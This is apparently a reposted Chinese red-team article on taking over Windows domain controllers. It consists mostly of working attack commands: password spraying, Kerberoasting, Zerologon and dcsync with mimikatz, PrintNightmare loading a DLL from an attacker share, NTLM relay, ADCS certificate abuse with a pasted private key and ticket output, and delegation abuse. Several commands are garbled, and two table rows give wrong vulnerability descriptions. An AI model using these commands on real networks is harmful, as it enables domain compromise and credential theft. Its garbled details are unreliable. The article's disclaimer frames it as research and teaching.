文章总结: 本文详细阐述了红队攻防中快速拿下域控的实战打法。内容涵盖利用域凭据进行票据攻击、利用Zerlogon等高危漏洞、NTLM中继、滥用域证书ADCS及委派配置缺陷五大核心路径。文中提供了Mimikatz、Rubeus等工具的具体利用命令,为域内横向移动与提权提供了可操作性极强的技术指南。 综合评分: 92 文章分类: 红队,内网渗透,漏洞POC,实战经验,渗透测试
红队攻防:快速拿下域控的思路打法
原创
Wvvvvv Wvvvvv
0xSecurity
2026年1月24日 00:07 广东
目录
1.利用域用户凭据
2.利用域漏洞
3.利用NTLM中继
4.利用域证书
5.利用委派
利用域用户凭据
| 攻击手段 | 攻击危害与目的 | | — | — | | 密码迭代攻击 | 通过获取到的密码进行用户密码的组合和碰撞 | | 密码爆破攻击 | 利用工具在域内进行弱口令爆破 | | Kerberosasting | 通过SPN获得域内用户的TGS,离线爆破TGS中的hash | | AS-REPRoasting | 通过Kerberos认证,离线爆破其中的AS-REP |
密码迭代攻击
具有普适性需要重点关注的用户组
net localgroup administrators /domain
net localgroup administrators
net group "domain admin's" /domain
其他服务账号,例如hp printer、mcfadmin、winservice等
密码爆破攻击
使用Kerbrute进行爆破攻击
### 对domain_users.txt中的用户进行密码喷洒攻击
./kerbrute passwordspray -d domain.com domain_users.txt Password123
### 对username用户使用passwords.lst中的密码进行暴力破解
./kerbrute bruteuser -d domain.com passwords.lst username
### 对combos.lst中user:pass格式的账户密码进行喷洒攻击
cat combos lst | ./kerbrute -d exploit.com bruteforce –
Kerberoasting
手动查找、请求并导出合适的TGS
setspn.exe -T test -q $/*$
$SPNName='administrator/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.identityModel Tokens.KerberosRequestorSecurityToken -ArgumentList$SPNName
mimikataz "kerberos::list /export""exit"
tgsrepcrack.py wordlist.txt test.kirbi
Kerberoasting
使用Rebeus一键导出合适的TGS
execute-assembly D:\Rubeus.exe kerberoast /format:hashcat /outfile:C:\windows\temp\kerberoast\-hash\-tmp
使用hashcat爆破导出的hash
hashcat -a0-m13100 hash.txt pass.txt -force
hashcat -a6-m13100 hash.txt pass.txt ?a?a?a?a
AS-REPRoasting
使用Rebeus一键导出合适的AS-REP
execute-assembly D:\Rubeus.exe asreproast /format:hashcat /outfile:C:\windows\temp\as-rep\-hash.tpl
使用hashcat爆破导出的hash
hashcat -a0-m18200 hash.txt pass.txt -force
hashcat -a6-m18200 hash.txt pass.txt ?a?a?a?a
目录
- 利用域用户凭据
2.利用域漏洞
3.利用NTLM中继
4.利用域证书
5.利用委派
利用域漏洞
| 攻击手段 | 攻击危害与目的 | | — | — | | MS12-025 | GPP配置不当导致域管密码保留在共享中并可解开 | | MS14-068 | Kerberos协议PAC伪造导致任意权限伪造 | | MS17-010 | SMB V1协议缓冲区溢出导致RCE | | CVE-2018-8581 | Exchange服务器SSRF组合ntlm中继导致权限被获取 | | CVE-2020-0688 | Exchange服务器ViewState反序列化导致RCE | | CVE-2020-1472 | 域控Netlogon协议存在漏洞导致认证绕过并置空机器密码 | | Proxlogon | Exchange服务器SSRF组合反序列化、任意文件写入组合拳 | | PrintNightmare | 通过RPC服务安装任意打印机驱动DLL |
使用findstr查找包含cpassword字段的xml文件
findstr /S /I cpassword \ad01.test.com\sysvol\test.com\policies\*.xml
使用解密脚本对密码解密
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/GPPPassword.ps1
MS14-068利用命令
MS14-068.exe -u [email protected] -p123456-s S-1-5-21-2080228633-1805879076-4074689195- 1108-d ad01.test.com
mimikatz.exe "kerberos::ptc [email protected]""exit"
dir \ad01\c\$
MS17-010
使用NAS工具包fb.py
use Smbtouch
use Eternalblue
使用msfconsole
use exploit.windows/smb/ms17_010_ eternalblue
使用Ridter编写的一键利用脚本
https://github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p pass -d domain.com -th DC_ip Exchange_ip
CVE-2020-0688
使用zcgonvh编写的一键利用工具
https://github.com/zcgonvh/CVE-2020-0688
ExchangeDetect <target> <user> <pass>
ExchangeCmd <target> <user> <pass>
CVE-2020-1472
mimikatz有收录该漏洞,所以用mimikatz攻击即可
Isadump::zerologon /target:dc1.exploit.local /account:dc1$
Isadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit
Isadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /athassword:"/" /domain:exploit.local /authntlm /user:krbtgt
Isadump::postzerologon /target:exploit.local /account:dc1$
手动攻击脚本
https://github.com/risksense/zerologon
Proxylogon
一键利用脚本
https://github.com/herwonowr/exprolog/
exprolog.py -t outlook.exploit.local -e [email protected] -i whoami
PrintNightmare
PrintNightmare已经收录进mimikatz
### LPE
misc::printnightmare
misc::printnightmare /library:c:\evil.dll
### RCE
misc::printnightmare /server:dc1.exploit.local /authuser:user /authpassword:pass /library:\hack.exploit.local\share\evil.dll /nodynamic
CVE-2021-1675手动利用脚本
https://github.com/cube0x0/CVE-2021-1675
目录
- 利用域用户凭据
2.利用域漏洞
3.利用NTLM中继
4.利用域证书
5.利用委派
利用NTLM中继
| 攻击手段 | 攻击危害与目的 | | — | — | | Printerbug | 强制开启了打印机服务的机器回连任意IP | | CVE-2019-1040 | GPP配置不当导致域管密码保留在共享中并可解开 | | PetitPotam | Kerberos协议PAC伪造导致任意权限伪造 |
Printerbug
python printerbug.py 域/用户名:密码@打印机服务ip 回连ip
CVE-2019-1040
Ridter写的一键攻击攻击
https://github.com/Ridter/CVE-2019-1040
python CVE-2019-1040.py -ah ATTACKER_HOST_IP -u'user'-p'pass'-d'exploit.local'-th TARGET_HOST_IP Exchange_ip
ntlmrelayx.py --escape-user testuser -t ldap://dc01.cn.xxx.com -smb2support--remove-mic
ntlmrelayx.py -t Idaps://dc01.cn.xxx.com --delegate-access-smb2support--remove- mic
ntlmrelayx.py -t Idaps://dc01.cn.xxx.com --add-computer TEST -smb2support--remove-mic
PetitPotam
### 在域内查找AD CS服务器
certutil
ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp -smb2support--adcs
\PetitPotam.exe 中继机器的ip DC01
### 可选操作
runas /netonly /user:test powershell
\Rubeus.exe asktgt /outfile:kirbi /user:dc01 $\$ 7$ /ppt /certificate:Base64ed_Certificate
.\mimikatz.exe "Isadump::dcsync /domain:cn.xxx.com /user:cn\administrator""exit"
> dcsync.log
利用Certify工具可以实现对有错误配置的ADCS的攻击
Certify
certify request
C:\Users\cnadmin>certify request /ca:"CNSHUNDEDCO1.com\AD"/template:"RD计算机"/altname:administrator
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : CN\cnadmin
[*] No subject name specified, using current context as subject.
[*] Template : RD计算机
[*] Subject : CN=CNAdmin, OU=ServiceAccount, DC=cn, DC=” DC=com
*] AltName : administrator
[*] Certificate Authority : CNSHUNDEDCO1 .com\AD_Midea
$[\ast ]$ CA Response : The certificate had been issued.
[*] Request ID : 609824
[*] cert.pem
BEGIN RSA PRIVATE KEYMIIEpQIBAAKCAQEAnTR3NNPE+XIrtdTD15KV1ASBLJWRvxG0G+eKngBp5kc940gfs kYYTFNkJFi5DEhp7L90nIiyJ5mx5u/Ngov109N/VKW5tdkzItahCF1PthTdMWGVw ojVZ1HF JMJoEugc/KCErPqrH8BfakSSrfWyK8wtggUley2/VOERglq8YFWrZp5Ie sPX8gSSA9ZLT1KspTuW+wXYQqtnXWHiN/XXXUWFs8H7Y805nLvku03w/1oud3b/ OmlsRJJYAAtbOnfTtmf5x7yqMtGwmvxx8AOp4ysk8UaGJf+d4cnjRKOYWGms6hHJH Iapato/VdRQhsdtKJmzzTuuxu50PZ3SG16hcyQIDAQABAoIBABKWmdLWCIG7Uv6q MaUd2Fov/Jq5B8s43haNA3iaea2e0xSv658yDJNCGJ2rIm5LD0u19bU41eNe uYpD6mWTvD1dP2EQkZS1TAHduINggBAzGLtvoAIhLaQW6Cz4cCnvyKNVJNJ6qz3 YkyOTGD4YyddotT4zqQ3d6Di9szPVGh2AgOKPRVPIFPKuqbYc2uYpqsmtutKoOH D R/2BheKf2PbnZ04Gee4xGXN35MZfm2yJS8pU4td0E+8bnS6VmTTy85DRyxy7my0 iXx2sEINE0C2viG3K4ySMFKypLb7xVD4USBLsg+/yTyan6PAqm6zf8A0IqqUuu4hN BWtoE4ECgYEAX+Y+3NKNogbD0IwcVPyIcoEQ2CzpKwLzuyi4qa9rRFNrN5f1s vJ9rgY9J0dEIX9HeJho2WjmTe/L/ys9KUCd+PFUVR7fokeMFVlmXj8jopFQU+axGp aub+dr3evkuNsDEf5mzknu56xI5ZYpIQWoHwJFzWSc5jbAecJSdVAkCgYEAyVLX RlWpzrQ3QWhL9RSRJEoy/d1Frnf5kLbojHI3QGb37seWHuy/E/sTMDRPBYt7wrub oPxuyvj3oAG4AEHSp6cMGCNByEEFJJJpUV8x1pS7EyC3vzHyRZg06zS/HIHKdIq
Certify
openssl pkcs12 -in cert.pem -keyex-CSP"Microsoft Enhanced Cryptographic Provider v1.0"-export-out cert.pfx
(root\kali)-[~/Desktop] ###openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Enter Export Password: Verifying - Enter Export Password: (root\kali)-[~/Desktop]
Certify
rubeus /ptt
C:\Users\cnadmin>tubeus asktgt /user:administrator /domain:/certificate:cert.pfx /password:l /ptt
[+] Ticket successfully imported!
ServiceName : krbtgt/cn. .com
ServiceRealm : CN. .COM
UserName : adminstrator
UserRealm : CN. .COM
StartTime : 2021/11/24 18:13:17
EndTime : 2021/11/25 4:13:17
RenewTill : 2021/11/25 4:13:17
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : s6CKBHVS5noeJvyQesOtWA==
C:\Users\cnadmin>dir \CNHKDC02\c$驱动器 \CNHKDC02\c$ 中的卷没有标签。卷的序列号是987F-91EA
\CNHKDC02\c$ 的目录
2021/05/13 11:20 <DIR> canway
2020/06/28 16:18 <DIR> CloudResetPwdAgent
2020/06/28 16:19 <DIR> CloudResetPwdUpdateAgent
2018/05/18 11:43 <DIR> PerfLogs
2021/06/11 18:59 <DIR> Program Files
2020/08/28 23:18 <DIR> Program Files (x86)
2020/08/29 11:53 <DIR> Users
2021/05/28 20:38 <DIR> Windows
0个文件 0字节
8个目录 70,816,886,784可用字节
MjExMTIOM jAwMTIxWqgOGwxDTi5NSURFQS5DTO2pITAfoAMCAQKhGDAWGzrcnTOZ3QbDGNuLklpZGVh
Certify利用经验
目录
- 利用域用户凭据
2.利用域漏洞
3.利用NTLM中继
4.利用域证书
5.利用委派
委派 – Delegate
MachineAccountQuota – MAQ配置不当
Se_Enable_Dedlegation_Privilege权限配置不当
非约束委派 – KUD
Get-ADComputer-Filter{TrustedForDelegation-eq $\$1$true-andprimarygroupid-eq515}-Propertiestrustedfordelegation,serviceprincipalname,description
mimikatz
sekurlsa::tickets
sekurlsa::tickets/export
kerberos::pptC:\[email protected]
dir\dc01\c\$
约束委派 – KCD
Get-NetUser-TrustedToAuth
Rubeus.exetgtdeleg
Rubeus.exes4u/ticket:TGT/impersonateuser:administrator/domain:exploit.local/msdsspn:cifs/target.exploit.local/dc:dc01.exploit.local/pttdir\target.exploit.local\c\$
Get-NetComputerws02|selectname,msds-allowedtodelegateto,useraccountcontrol|fl
Get-NetComputerws02|Select-Object-ExpandPropertymsds-allowedtodelegateto|fl
[ReflectionAssembly]::LoadWithPartialName('System.identityModel')|out-null
$idTolmpersonate=New-ObjectSystem.Security.Principal.WindowsIdentity(@('administrator')
$idTolmpersonate.Impersonate()
[System.Security.Principal.WindowsIdentity]::GetCurrent()|selectname
Is\dc01offense.local\c\$
TRUSTED_TO_AUTH_FOR_DELEGATION
msds-allowedtode
资源约束委派 – RBCD
import-modulepowermad
New-MachineAccount-MachineAccountFAKE01-Password$(ConvertTo-SecureString'123456'-AsPlainText-Force)-verbose
$ComputerSid=Get-DomainComputer'FAKE01'-Propertiesobjectsid|Select-Expandobjectsid
$SD=New-ObjectSecurity.AccessControl.RawSecurityDescriptor-ArgumentList
"O:BAD:(A,CCDCLCSWRPWPDTLOCRSDRCWDWO,=$(ComputerSid)"'
$SDBytes=New-Objectbyte[]($SD(BinaryLength)
$SD.GetBinaryForm($SDBytes,0)
Get-DomainComputer$targetComputer|Set-DomainObject-Set@{'msds-allowedtoactonbehalfofotheridentity'=$SBytes}
Rubeus.exehash/password:123456/user:fake01/domain:exploit.local
Rubeus.exes4u/user:fake$/rc4:$NThash/impersonateuser:Administrator
/msdsspn:$Target_SPN(cifs/target)/ptt
dir\\\\target\c\$
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Wvvvvv Wvvvvv《红队攻防:快速拿下域控的思路打法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论